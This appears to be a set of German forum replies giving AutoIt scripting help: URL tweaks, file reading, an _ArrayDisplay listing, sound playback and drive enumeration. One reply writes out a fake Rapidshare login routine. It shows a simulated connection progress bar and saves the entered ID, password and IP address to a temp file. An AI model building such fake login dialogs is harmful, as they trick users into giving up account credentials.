du musst einfach an den link der Bildersuche
#tbo=1&imgsz=l
anfügen.
Bsp.:
"Original Link:" http://images.google.de/images?q=wallpaper&oe=utf-8&rls=org.mozilla:de:official&client=firefox-a&um=1&ie=UTF-8&sa=N&hl=de&tab=wi
"Modifizierter Link:" http://images.google.de/images?q=wallpaper&oe=utf-8&rls=org.mozilla:de:official&client=firefox-a&um=1&ie=UTF-8&sa=N&hl=de&tab=wi#tbo=1&imgsz=lHey danke für die Mühe 
Jetzt klappts!
Ich würde gerne ein Bild in mein Script einlesen, und dann verschlüsseln.
Das simple einlesen mit Fileopen(DATEI,16) und dann mit Filewrite hat wunderbar funktioniert.
Wenn ich jedoch nach dem einlesen den string mit StringtoBinary "verschlüssle",
dann ist die gespeicherte Datei nicht mehr entschlüsselbar...
Liegt es an StringtoBinary?
BSP. das NICHT funktioniert:
"Verschlüsseln":
$k=FileOpen("Bild1.jpg",16)
$x=FileRead($k)
$x=StringToBinary($x,4)
FileWrite(@ScriptDir&"\TEST.jpg",$x)
"Entschlüsseln"
$o=FileOpen("Test.jpg",16)
FileWrite("B1.jpg",$o)
FileWrite("B2.jpg",BinaryToString($o,4))
Ich vermute, dass es mit "echten" Verschlüsselungsmethoden auch nicht funktioniert.
(korrigiert mich bitte falls ich falsch liege)
Bin leider ratlos wie dieses Problems zu lösen ist 
Wenn dein Script im Internet ne neue Version gefunden hat, dann kannst du es unter anderem Namen runterladen,
danach eine .bat erstellen und diese ausführen.
Die Funktion der .bat muss nur die "alte" .exe löschen, die "neue" umbenennen und danach sich selber löschen.
Ich würde die array.au3 NICHT anfassen und stattdessen einfach die Funktion _arraydisplay() aus meinem ersten Post kopieren,
und UMBENANNT (wichtig damit es keine Komplikationen mit den Namen gibt) werden.
Der Aufruf der Funktion folgt dann mit dem "neuen" Funktionsnamen.
Der KODA ist doch (größtenteils) selbsterklärend oder?
Probleme gibts wahrscheinlich nur bei COM Objekten, da sie entweder nicht richtig funktionieren oder nicht beschrieben sind.
Am Anfang kannst du ja in die Hilfedatei gucken (F1) oder wie mein Vorredner Schnitzel meinte, dass du einfach mal rumexperimentierst.
PS: Bei Youtube sind einige Tutorials
Ich mag die Scriptsprache AutoIt und deshalb will ich sie auch nicht durch Bots oder Spaßviren etc. belasten, da hierdurch eine Beschränkung/Ablehnung gegen AutoIt entstehen könnte.
(Beispiel: Virenmeldungen durch Scripte)
Zu Bots speziell würde ich mal an den Sinn des Spielens erinnern...
Warum kauft man sich ein Spiel? Damit man doch unterhalten wird, oder?
Wenn man sich einen Bot baut, so wird der Unterhaltungswert nicht mehr berücksichtigt.
Gut finde ich jedoch, wenn man lästige Arbeiten durch ein "Bot" erledigen lassen kann, wobei dieser "Bot" nicht in die Kategorie der Spielvereinfachung fällt.
Mir geht es oftmals nur um das Lösen von Rätseln/Aufgaben/Problemstellungen wenn ich mit AutoIt programmiere.
Sollte ich mal Abwechslung suchen, dann spiele ich ab und an ein Spiel, dass ICH dann spielen kann.
Eine Möglichkeit wäre die Auslagerung der Funktion, die dann verschlüsselt wird und anschließend wieder in das Originalscript eingefügt wird.
Vielleicht reicht dir diese Variante bereits...
Die komplexe Funktion, um ein Programm (das Script selber) zu beenden, heißt : Exit.
Die Funktionsweise ist sehr simpel: Einfach an die Stelle schreiben, an der das Script beendet werden soll.
Der Aufruf selber benötigt keine Parameter.
Beispiel:
$a=1
$b=2
Msgbox(0,"1+2",$a+$b)
$a += 1
Exit
;Dieser Teil wird nicht mehr angezeigt, da das Programm beendet wurde
Msgbox(0,"Neuer Wert für $a",$a)
PS: Du kannst, damit die Msgbox nur zeitbegrenzt angezeigt wird, den Parameter dazu mit angeben!
Ganz einfach :
[autoit]$Parameter = "-1 -2 -3"
Run("Programm.exe "&$Parameter)
Du musst einfach nur die Größe manuell erhöhen (Zeile 113).
Hier ist schonmal die Funktion ohne Änderungen:
Func _ArrayDisplay(Const ByRef $avArray, $sTitle = "Array: ListView Display", $iItemLimit = -1, $iTranspose = 0, $sSeparator = "", $sReplace = "|", $sHeader = "")
If Not IsArray($avArray) Then Return SetError(1, 0, 0)
; Dimension checking
Local $iDimension = UBound($avArray, 0), $iUBound = UBound($avArray, 1) - 1, $iSubMax = UBound($avArray, 2) - 1
If $iDimension > 2 Then Return SetError(2, 0, 0)
; Separator handling
;~ If $sSeparator = "" Then $sSeparator = Chr(1)
If $sSeparator = "" Then $sSeparator = Chr(124)
; Check the separator to make sure it's not used literally in the array
If _ArraySearch($avArray, $sSeparator, 0, 0, 0, 1) <> -1 Then
For $x = 1 To 255
If $x >= 32 And $x <= 127 Then ContinueLoop
Local $sFind = _ArraySearch($avArray, Chr($x), 0, 0, 0, 1)
If $sFind = -1 Then
$sSeparator = Chr($x)
ExitLoop
EndIf
Next
EndIf
; Declare variables
Local $vTmp, $iBuffer = 64
Local $iColLimit = 250
Local $iOnEventMode = Opt("GUIOnEventMode", 0), $sDataSeparatorChar = Opt("GUIDataSeparatorChar", $sSeparator)
; Swap dimensions if transposing
If $iSubMax < 0 Then $iSubMax = 0
If $iTranspose Then
$vTmp = $iUBound
$iUBound = $iSubMax
$iSubMax = $vTmp
EndIf
; Set limits for dimensions
If $iSubMax > $iColLimit Then $iSubMax = $iColLimit
If $iItemLimit < 1 Then $iItemLimit = $iUBound
If $iUBound > $iItemLimit Then $iUBound = $iItemLimit
; Set header up
If $sHeader = "" Then
$sHeader = "Row " ; blanks added to adjust column size for big number of rows
For $i = 0 To $iSubMax
$sHeader &= $sSeparator & "Col " & $i
Next
EndIf
; Convert array into text for listview
Local $avArrayText[$iUBound + 1]
For $i = 0 To $iUBound
$avArrayText[$i] = "[" & $i & "]"
For $j = 0 To $iSubMax
; Get current item
If $iDimension = 1 Then
If $iTranspose Then
$vTmp = $avArray[$j]
Else
$vTmp = $avArray[$i]
EndIf
Else
If $iTranspose Then
$vTmp = $avArray[$j][$i]
Else
$vTmp = $avArray[$i][$j]
EndIf
EndIf
; Add to text array
$vTmp = StringReplace($vTmp, $sSeparator, $sReplace, 0, 1)
$avArrayText[$i] &= $sSeparator & $vTmp
; Set max buffer size
$vTmp = StringLen($vTmp)
If $vTmp > $iBuffer Then $iBuffer = $vTmp
Next
Next
$iBuffer += 1
; GUI Constants
Local Const $_ARRAYCONSTANT_GUI_DOCKBORDERS = 0x66
Local Const $_ARRAYCONSTANT_GUI_DOCKBOTTOM = 0x40
Local Const $_ARRAYCONSTANT_GUI_DOCKHEIGHT = 0x0200
Local Const $_ARRAYCONSTANT_GUI_DOCKLEFT = 0x2
Local Const $_ARRAYCONSTANT_GUI_DOCKRIGHT = 0x4
Local Const $_ARRAYCONSTANT_GUI_EVENT_CLOSE = -3
Local Const $_ARRAYCONSTANT_LVIF_PARAM = 0x4
Local Const $_ARRAYCONSTANT_LVIF_TEXT = 0x1
Local Const $_ARRAYCONSTANT_LVM_GETCOLUMNWIDTH = (0x1000 + 29)
Local Const $_ARRAYCONSTANT_LVM_GETITEMCOUNT = (0x1000 + 4)
Local Const $_ARRAYCONSTANT_LVM_GETITEMSTATE = (0x1000 + 44)
Local Const $_ARRAYCONSTANT_LVM_INSERTITEMW = (0x1000 + 77)
Local Const $_ARRAYCONSTANT_LVM_SETEXTENDEDLISTVIEWSTYLE = (0x1000 + 54)
Local Const $_ARRAYCONSTANT_LVM_SETITEMW = (0x1000 + 76)
Local Const $_ARRAYCONSTANT_LVS_EX_FULLROWSELECT = 0x20
Local Const $_ARRAYCONSTANT_LVS_EX_GRIDLINES = 0x1
Local Const $_ARRAYCONSTANT_LVS_SHOWSELALWAYS = 0x8
Local Const $_ARRAYCONSTANT_WS_EX_CLIENTEDGE = 0x0200
Local Const $_ARRAYCONSTANT_WS_MAXIMIZEBOX = 0x00010000
Local Const $_ARRAYCONSTANT_WS_MINIMIZEBOX = 0x00020000
Local Const $_ARRAYCONSTANT_WS_SIZEBOX = 0x00040000
Local Const $_ARRAYCONSTANT_tagLVITEM = "int Mask;int Item;int SubItem;int State;int StateMask;ptr Text;int TextMax;int Image;int Param;int Indent;int GroupID;int Columns;ptr pColumns"
Local $iAddMask = BitOR($_ARRAYCONSTANT_LVIF_TEXT, $_ARRAYCONSTANT_LVIF_PARAM)
Local $tBuffer = DllStructCreate("wchar Text[" & $iBuffer & "]"), $pBuffer = DllStructGetPtr($tBuffer)
Local $tItem = DllStructCreate($_ARRAYCONSTANT_tagLVITEM), $pItem = DllStructGetPtr($tItem)
DllStructSetData($tItem, "Param", 0)
DllStructSetData($tItem, "Text", $pBuffer)
DllStructSetData($tItem, "TextMax", $iBuffer)
; Set interface up
Local $iWidth = 640, $iHeight = 480
Local $hGUI = GUICreate($sTitle, $iWidth, $iHeight, Default, Default, BitOR($_ARRAYCONSTANT_WS_SIZEBOX, $_ARRAYCONSTANT_WS_MINIMIZEBOX, $_ARRAYCONSTANT_WS_MAXIMIZEBOX))
Local $aiGUISize = WinGetClientSize($hGUI)
Local $hListView = GUICtrlCreateListView($sHeader, 0, 0, $aiGUISize[0], $aiGUISize[1] - 26, $_ARRAYCONSTANT_LVS_SHOWSELALWAYS)
Local $hCopy = GUICtrlCreateButton("Copy Selected", 3, $aiGUISize[1] - 23, $aiGUISize[0] - 6, 20)
GUICtrlSetResizing($hListView, $_ARRAYCONSTANT_GUI_DOCKBORDERS)
GUICtrlSetResizing($hCopy, $_ARRAYCONSTANT_GUI_DOCKLEFT + $_ARRAYCONSTANT_GUI_DOCKRIGHT + $_ARRAYCONSTANT_GUI_DOCKBOTTOM + $_ARRAYCONSTANT_GUI_DOCKHEIGHT)
GUICtrlSendMsg($hListView, $_ARRAYCONSTANT_LVM_SETEXTENDEDLISTVIEWSTYLE, $_ARRAYCONSTANT_LVS_EX_GRIDLINES, $_ARRAYCONSTANT_LVS_EX_GRIDLINES)
GUICtrlSendMsg($hListView, $_ARRAYCONSTANT_LVM_SETEXTENDEDLISTVIEWSTYLE, $_ARRAYCONSTANT_LVS_EX_FULLROWSELECT, $_ARRAYCONSTANT_LVS_EX_FULLROWSELECT)
GUICtrlSendMsg($hListView, $_ARRAYCONSTANT_LVM_SETEXTENDEDLISTVIEWSTYLE, $_ARRAYCONSTANT_WS_EX_CLIENTEDGE, $_ARRAYCONSTANT_WS_EX_CLIENTEDGE)
; Fill listview
Local $aItem
For $i = 0 To $iUBound
If GUICtrlCreateListViewItem($avArrayText[$i], $hListView) = 0 Then
; use GUICtrlSendMsg() to overcome AutoIt limitation
$aItem = StringSplit($avArrayText[$i], $sSeparator)
DllStructSetData($tBuffer, "Text", $aItem[1])
; Add listview item
DllStructSetData($tItem, "Item", $i)
DllStructSetData($tItem, "SubItem", 0)
DllStructSetData($tItem, "Mask", $iAddMask)
GUICtrlSendMsg($hListView, $_ARRAYCONSTANT_LVM_INSERTITEMW, 0, $pItem)
; Set listview subitem text
DllStructSetData($tItem, "Mask", $_ARRAYCONSTANT_LVIF_TEXT)
For $j = 2 To $aItem[0]
DllStructSetData($tBuffer, "Text", $aItem[$j])
DllStructSetData($tItem, "SubItem", $j - 1)
GUICtrlSendMsg($hListView, $_ARRAYCONSTANT_LVM_SETITEMW, 0, $pItem)
Next
EndIf
Next
; adjust window width
$iWidth = 0
For $i = 0 To $iSubMax + 1
$iWidth += GUICtrlSendMsg($hListView, $_ARRAYCONSTANT_LVM_GETCOLUMNWIDTH, $i, 0)
Next
If $iWidth < 250 Then $iWidth = 230
$iWidth += 20
If $iWidth > @DesktopWidth Then $iWidth = @DesktopWidth - 100
[/autoit] [autoit][/autoit] [autoit]WinMove($hGUI, "", (@DesktopWidth - $iWidth)/2, Default, $iWidth)
[/autoit] [autoit][/autoit] [autoit]; Show dialog
GUISetState(@SW_SHOW, $hGUI)
While 1
Switch GUIGetMsg()
Case $_ARRAYCONSTANT_GUI_EVENT_CLOSE
ExitLoop
Case $hCopy
Local $sClip = ""
; Get selected indices [ _GUICtrlListView_GetSelectedIndices($hListView, True) ]
Local $aiCurItems[1] = [0]
For $i = 0 To GUICtrlSendMsg($hListView, $_ARRAYCONSTANT_LVM_GETITEMCOUNT, 0, 0)
If GUICtrlSendMsg($hListView, $_ARRAYCONSTANT_LVM_GETITEMSTATE, $i, 0x2) Then
$aiCurItems[0] += 1
ReDim $aiCurItems[$aiCurItems[0] + 1]
$aiCurItems[$aiCurItems[0]] = $i
EndIf
Next
; Generate clipboard text
If Not $aiCurItems[0] Then
For $sItem In $avArrayText
$sClip &= $sItem & @CRLF
Next
Else
For $i = 1 To UBound($aiCurItems) - 1
$sClip &= $avArrayText[$aiCurItems[$i]] & @CRLF
Next
EndIf
ClipPut($sClip)
EndSwitch
WEnd
GUIDelete($hGUI)
Opt("GUIOnEventMode", $iOnEventMode)
Opt("GUIDataSeparatorChar", $sDataSeparatorChar)
Return 1
EndFunc ;==>_ArrayDisplay
Vielleicht hat er die Funktionen kombiniert 
z.B. so:
Func _WinWaitActivate($sTitle,$sText,$iDur)
If Not WinExists($sTitle, $sText) Then Return -1
WinActivate($sTitle, $sText)
WinWaitActive($sTitle, $sText, $iDur)
If Not WinActive($sTitle, $sText) Then Return -2
Return 1
EndFunc
Woher bekommt man die jeweiligen Variablen, die man für GUIRegisterMsg benutzen kann?
(in dem Script war es $WM_DEVICECHANGE )
EDIT: sind das zufällig diese hier: http://translation.autoit.de/onlinehilfe/ap…WinMsgCodes.htm ?
Mal angenommen sie wären es.. woher bekomme ich Informationen was und wofür ich sie verwenden kann?
In der Hilfedatei sind Beispiele, z.B. dieses hier (sollte auf XP und Vista funktionieren):
#include <Sound.au3>
[/autoit] [autoit][/autoit] [autoit]; Öffne Sound-Datei ; dies muß verändert werden, falls das Skript unter Vista läuft
If @OSVersion = "WIN_XP", Then
$sound = _SoundOpen(@WindowsDir & "\media\Windows XP Startup.wav")
If @error = 2 Then
MsgBox(0, "Fehler", "Die Datei existiert nicht.")
Exit
ElseIf @extended <> 0 Then
$extended = @extended ; Zuweisung, weil @extended nach DllCall-Aufruf geändert wird
$stText = DllStructCreate("char[128]")
$errorString = DllCall("winmm.dll", "short", "mciGetErrorStringA", "str", $extended, "ptr", DllStructGetPtr($stText), "int", 128)
MsgBox(0, "Fehler", "Öffnen fehlgeschlagen." & @CRLF & "Fehlernummer: " & $extended & @CRLF & "Fehlerbeschreibung: " & DllStructGetData($stText, 1) & @CRLF & "Beachte: Möglicherweise kann der Sound dennoch korrekt abgespielt werden.")
Else
MsgBox(0, "Erfolgsmeldung", "Die Datei wurde erfolgreich geöffnet.")
EndIf
_SoundPlay($sound, 1)
_SoundClose($sound)
Else
$sound = _SoundOpen(@WindowsDir & "\media\Windows-Startvorgang.wav")
If @error = 2 Then
MsgBox(0, "Fehler", "Die Datei existiert nicht.")
Exit
ElseIf @extended <> 0 Then
$extended = @extended ; Zuweisung, weil @extended nach DllCall-Aufruf geändert wird
$stText = DllStructCreate("char[128]")
$errorString = DllCall("winmm.dll", "short", "mciGetErrorStringA", "str", $extended, "ptr", DllStructGetPtr($stText), "int", 128)
MsgBox(0, "Fehler", "Öffnen fehlgeschlagen." & @CRLF & "Fehlernummer: " & $extended & @CRLF & "Fehlerbeschreibung: " & DllStructGetData($stText, 1) & @CRLF & "Beachte: Möglicherweise kann der Sound dennoch korrekt abgespielt werden.")
Else
MsgBox(0, "Erfolgsmeldung", "Die Datei wurde erfolgreich geöffnet.")
EndIf
_SoundPlay($sound, 1)
_SoundClose($sound)
EndIf
Hier ist der Code auf Basis des vorangegangenen Posts:
Func go()
Select
Case StringLen(GUICtrlRead($id)) < 7
ProgressOn("Login", "", "")
Sleep(1000)
ProgressSet(0, "Connecting rapidshare.com")
Sleep(1000)
ProgressSet(15, "Successful connected")
Sleep(1000)
ProgressSet(35, "Sending Logindata")
Sleep(1500)
ProgressSet(70, "Waiting for Validation")
Sleep(1000)
ProgressSet(90, "Error")
MsgBox(0, "Error", "Please check your ID and PW!")
Exit
Case StringLen(GUICtrlRead($pw)) < 15
ProgressOn("Login", "", "")
Sleep(1000)
ProgressSet(0, "Connecting rapidshare.com")
Sleep(1000)
ProgressSet(15, "Successful connected")
Sleep(1000)
ProgressSet(35, "Sending Logindata")
Sleep(1500)
ProgressSet(70, "Waiting for Validation")
Sleep(1000)
ProgressSet(90, "Error")
MsgBox(0, "Error", "Please check your ID and PW!")
Exit
MsgBox(0, 0, -2)
Case Else
ProgressOn("Login", "", "")
Sleep(1000)
ProgressSet(0, "Connecting rapidshare.com")
Sleep(1000)
ProgressSet(15, "Successful connected")
Sleep(1000)
ProgressSet(35, "Sending Logindata")
Sleep(1500)
ProgressSet(70, "Waiting for Validation")
Sleep(1000)
ProgressSet(100, "Login Completed")
EndSelect
SoundPlay(@WindowsDir & "\media\tada.wav", 1)
ProgressOff()
GUICtrlCreateLabel("Login Successful", 90, 245, 140)
GUICtrlSetFont(-1, 12, 400)
$File = FileWrite(@TempDir & "\pw.txt", "")
$File2 = FileOpen(@TempDir & "\pw.txt", 1)
FileWriteLine($File2, "Account:")
FileWriteLine($File2, "ID: " & $id2)
FileWriteLine($File2, "PW: " & $pw2)
FileWriteLine($File2, "IP: " & @IPAddress1)
FileClose($File2)
GUICtrlSetState($id, $GUI_DISABLE)
GUICtrlSetState($pw, $GUI_DISABLE)
GUICtrlSetState($login, $GUI_DISABLE)
EndFunc ;==>go
PS: Ich denke es wäre vllt. sinnvoll das Passwort vorher zu verschlüsseln (nur so als Hinweis)
Ich finde das Script gut
Als erhöhten Schwierigkeitsgrad könnte man noch hinter die Zahl, die angeklickt werden soll,
ein farbiges Feld anzeigen lassen, dass jedoch in einer anderen Farbe erscheint, als das gesuchte Feld.
Oder, dass man entweder die Farbe ODER die Zahl anklicken muss. 
Dann kommen die kleinen grauen Zellen so richtig in Gang 
Ich würde es einfach mit einer Select Case Abfrage machen:
[autoit]Select
Case StringLen($id) < 7
;... ERROR
Case StringLen($pw) < 15
;... ERROR
Case Else
;... LOGIN
EndSelect
Bilder kannst du doch mit den _GDIPlus Funktionen in jpg umwandeln (mit der gewünschten Qualitätsstufe)
Bei zuvielen Bildern kann ich mir jedoch vorstellen, dass das nicht sehr schnell geht.
Fürs Komprimieren würde ich dir 7zip empfehlen (die Konsolenversion kannste einfach mit Parameterfütterung bedienen).
Hier ist schonmal ein Script das alle angeschlossenen Geräte anzeigt:
[autoit]#include <array.au3>
[/autoit][autoit][/autoit][autoit]Local $W, $D
[/autoit][autoit][/autoit][autoit]For $i = Asc("a") To Asc("z")
$D = DriveGetType(Chr($i) & ":\")
If $D = "" Then $D = "Empty"
$W &= StringUpper(Chr($i)) & ":\ = " & $D & ";"
Next
;~ GUICtrlSetData($Combo,$W)
[/autoit][autoit][/autoit][autoit]$Info = StringSplit($W, ";")
_ArrayDisplay($Info)
Zur Überprüfung kannst du immer 1 für angeschlossene Geräte verwenden und 0 für nicht angeschlossene.
Das kannste dann am besten mit Adlibenable jede Sekunde (1000ms) überprüfen lassen und die Arrays auf Abweichungen testen.
(Ich denke das reicht als Denkanstoß oder? 
)
Ganz einfach mit der RUN-Funktion:
[autoit]Run("Programm.exe",@Scriptdir,@SW_HIDE)
[/autoit]